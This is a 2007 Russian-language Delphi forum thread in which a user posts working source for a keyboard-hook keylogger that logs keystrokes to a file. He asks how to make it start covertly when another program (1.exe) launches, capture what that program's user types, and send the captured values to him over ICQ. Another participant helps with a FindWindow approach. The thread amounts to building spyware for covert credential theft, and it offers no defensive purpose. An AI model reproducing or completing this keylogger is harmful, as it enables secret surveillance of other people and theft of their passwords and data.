Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > Delphi: WinAPI и системное программирование > Вопрос по перехвату значений


Автор: Des666 6.1.2007, 14:38
Есть программа в которой при запуске стоят 2 поля эдит и 2 кнопки ок и выход,  как мне можно перехватить нажатия клавиш из другой программы? Когда запускается 1 программа то должна запускатья и 2...

Автор: bartram 6.1.2007, 15:27
Цитата(Des666 @  6.1.2007,  14:38 Найти цитируемый пост)
 как мне можно перехватить нажатия клавиш из другой программы? 

Что ты хочешь конкретно сделать? ты хочешь подменить результаты выполнения или ты хочешь чтобы просто после нажатия кнопки "ОК" ничего не произошло. Опиши вопрос по подробнее.
Цитата(Des666 @  6.1.2007,  14:38 Найти цитируемый пост)
 Когда запускается 1 программа то должна запускатья и 2...

Это как понять?

Автор: Sunvas 6.1.2007, 15:41
Цитата(Des666 @  6.1.2007,  14:38 Найти цитируемый пост)
Есть программа в которой при запуске стоят 2 поля эдит и 2 кнопки ок и выход,  как мне можно перехватить нажатия клавиш из другой программы? Когда запускается 1 программа то должна запускатья и 2...

Иными словами: "Как постить в тему, чтобы меня никто не понял".

Автор: Des666 6.1.2007, 15:53
Нет просто хочу значения отправлять по icq при нажатии кнопки ОК значения отправляются, только как сделать так чтобы это выполняла моя программа... вот код перехвата клавиш
Код

program KeyLOgger; 
{$APPTYPE CONSOLE}

uses
  Windows,
  Messages;

var
Mess: TMsg; 
Hook: hHook; 
Wnd: hWnd; 
Wrote: DWORD;

function HookProc(Code: Integer; WParam: Word; LParam: LongInt): LongInt; stdcall; 
var 
Msg: PEventMsg; 
LogChar: Char; 
begin 
if Code >= 0 then begin 
   Result := 0; 
   Msg := Pointer(LParam); 
   LogChar := Chr(Msg.paramL); 
   if Msg.message = WM_KEYDOWN then WriteFile(Wnd, LogChar, 1, Wrote, nil); 
end else 
    Result := CallNextHookEx(Hook, Code, WParam, LParam); 
end; 

begin 

Wnd := CreateFile('Log.txt', GENERIC_WRITE, FILE_SHARE_READ, nil, 
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, FILE_FLAG_OVERLAPPED); 
Hook := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, HInstance, 0); 

while GetMessage(Mess, 0, 0, 0) do 
begin 
TranslateMessage(Mess); 
DispatchMessage(Mess); 
end; 

end. 



Теперь нужно чтобы не всегда перехватывались клавиши а только при запуске 1 программы...
Тоесть программа висит в памяти и ждёт запуска 1.exe как только он запущен она перехватывает нажатие клавиш после нажатия кнопки ок она выполняет сохранение в файл...

Автор: bartram 6.1.2007, 18:06
Des666, ну так ищи через определенное время окно аськи через
Код
FindWindow()

читаешь заголовок этого окна и если это аська, значит пишешь в файл все клавиши smile

Автор: Des666 6.1.2007, 19:35
Мне ненадо чтобы вёлся лог сообщений мне наоборот нужно чтобы моя программа ждала запуска программы 1.exe, и запускалась после этого она перехватывает нажатия клавиш а когда пользователь жмет в программе 1.exe на кнопку "ок" она отправляет значения мне в icq, отправку в icq я знаю как сделать, мне нужно чтобы моя программа начинала работать именно в тот момент когда пользователь открывает программу 1.exe и отсылала бы мне всё что было записано после нажатия кнопки "ОК"

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)